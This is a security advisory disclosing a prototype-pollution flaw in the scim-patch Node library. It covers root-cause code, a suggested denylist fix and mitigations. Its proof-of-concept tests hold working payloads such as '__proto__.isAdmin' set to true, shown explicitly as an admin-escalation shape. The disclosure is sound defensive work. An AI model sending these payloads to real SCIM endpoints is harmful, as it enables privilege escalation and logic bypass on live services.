scimPatch vulnerable to prototype pollution via unfiltered keys in patch

Summary

scim-patch performs prototype pollution when applying a SCIM PATCH operation whose value object contains a key like "__proto__.someProp". After one such patch, Object.prototype.someProp is set process-wide, affecting every plain object in the Node process.

Any service that calls scimPatch() on attacker-controlled JSON (i.e. any SCIM endpoint accepting PATCH from an external IdP) is exploitable on a stock Node runtime.

Impact

• Class: Prototype pollution (CWE-1321)
• Affected versions: <= 0.9.0 (current HEAD 871b1e2)
• Attack vector: Network — sent as part of a normal SCIM PATCH /Users/:id request body.
• Privileges required: Whatever the SCIM endpoint requires. For most integrations that's a provisioned IdP, which is "low" in CVSS terms (any authenticated provisioning client).
• Scope: Changed — the bug is in a SCIM library but the side effect (Object.prototype mutation) leaks into the entire Node process.

Downstream consequences depend on what other code reads from plain objects. Realistic outcomes observed in similar bugs:

• Privilege escalation if any auth/middleware code checks actor.isAdmin / req.user.admin / similar boolean flags against a plain object that expects the key to be absent.
• Logic bypass / DoS if any code branches on obj.name, obj.type, obj.id etc. against plain objects (e.g. pg's prepared-statement naming check — a real incident at one consumer).
• Persistence: lasts until the Node process restarts, so the blast radius is every request that container handles after the pollution.

Root cause

In src/scimPatch.ts:415-427, addOrReplaceObjectAttribute iterates the user-supplied patch.value with Object.entries and feeds each key to resolvePaths, which splits on .:

function addOrReplaceObjectAttribute(property: any, patch: ScimPatchAddReplaceOperation, multiValuedPathFilter?: boolean): any {
    if (typeof patch.value !== 'object') { ... }

    // src/scimPatch.ts:423-427
    for (const [key, value] of Object.entries(patch.value)) {
        assign(property, resolvePaths(key), value, patch.op);
    }
    return property;
}

assign then walks the resulting key path with no filtering on dangerous keys (src/scimPatch.ts:437-445):

function assign(obj: any, keyPath: Array<string>, value: any, op: string) {
    const lastKeyIndex = keyPath.length - 1;
    for (let i = 0; i < lastKeyIndex; ++i) {
        const key = keyPath[i];
        if (!(key in obj)) {
            obj[key] = {};
        }
        obj = obj[key];   // ← obj["__proto__"] === Object.prototype
    }
    // ... assigns into Object.prototype
}

For keyPath = ["__proto__", "polluted"]:

• "__proto__" in obj is always true, so the fresh-object branch is skipped.
• obj = obj["__proto__"] now points to Object.prototype.
• The final write lands on Object.prototype.polluted.

The same shape works for constructor.prototype keys.

Proof of concept

Drop this in test/prototypePollution.test.ts and run npm run build && npx mocha lib/test/prototypePollution.test.js. Both tests pass against HEAD 871b1e2:

import { scimPatch } from '../src/scimPatch';
import { ScimUser } from './types/types.test';
import { expect } from 'chai';

describe('Prototype pollution via scim-patch', () => {
    let scimUser: ScimUser;

    beforeEach(() => {
        scimUser = JSON.parse(`{
          "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
          "id": "tea_4",
          "userName": "spiderman",
          "name": { "familyName": "Parker", "givenName": "Peter" },
          "active": true,
          "emails": [{ "value": "[email protected]", "primary": true }],
          "roles": [],
          "meta": { "resourceType": "User", "created": "x", "lastModified": "x", "location": "x" }
        }`);
    });

    afterEach(() => {
        delete (Object.prototype as any).polluted;
        delete (Object.prototype as any).isAdmin;
    });

    it('pollutes Object.prototype via a value-key containing __proto__', () => {
        expect(({} as any).polluted).to.equal(undefined);

        scimPatch(scimUser, [{
            op: 'add',
            path: 'name',
            value: { '__proto__.polluted': 'yes' }
        }]);

        expect((Object.prototype as any).polluted).to.equal('yes');
        expect(({} as any).polluted).to.equal('yes');
    });

    it('elevates Object.prototype.isAdmin — the admin-escalation shape', () => {
        expect(({} as any).isAdmin).to.equal(undefined);

        scimPatch(scimUser, [{
            op: 'add',
            path: 'name',
            value: { '__proto__.isAdmin': true }
        }]);

        expect((Object.prototype as any).isAdmin).to.equal(true);
        expect(({} as any).isAdmin).to.equal(true);
    });
});

Suggested fix

Reject the three dangerous keys in assign() before the walk. Minimal patch:

const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

function assign(obj: any, keyPath: Array<string>, value: any, op: string) {
    for (const key of keyPath) {
        if (DANGEROUS_KEYS.has(key)) {
            throw new InvalidScimPatchOp(`Forbidden key in patch path: ${key}`);
        }
    }
    // ... existing logic
}

Alternative, slightly safer: switch the walk target to Object.create(null) nodes when creating intermediate objects, and use Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true }) instead of obj[key] = value for the final write. That defends against future prototype-walking sinks even if a key sneaks past the denylist.

Either approach is a non-breaking change — legitimate SCIM clients never send these keys.

Mitigation for consumers who can't upgrade immediately

Calling Object.freeze(Object.prototype) (and the same on Array.prototype, Function.prototype) at process startup neutralizes this class of bug — assignment to a frozen prototype becomes a silent no-op in sloppy mode or a TypeError in strict mode. Node's --frozen-intrinsics flag does this for built-ins automatically.

Credit

Discovered by Lee Wang (Notion). Reported by David Wu (Notion).

Report authored by Claude. Reviewed by David Wu.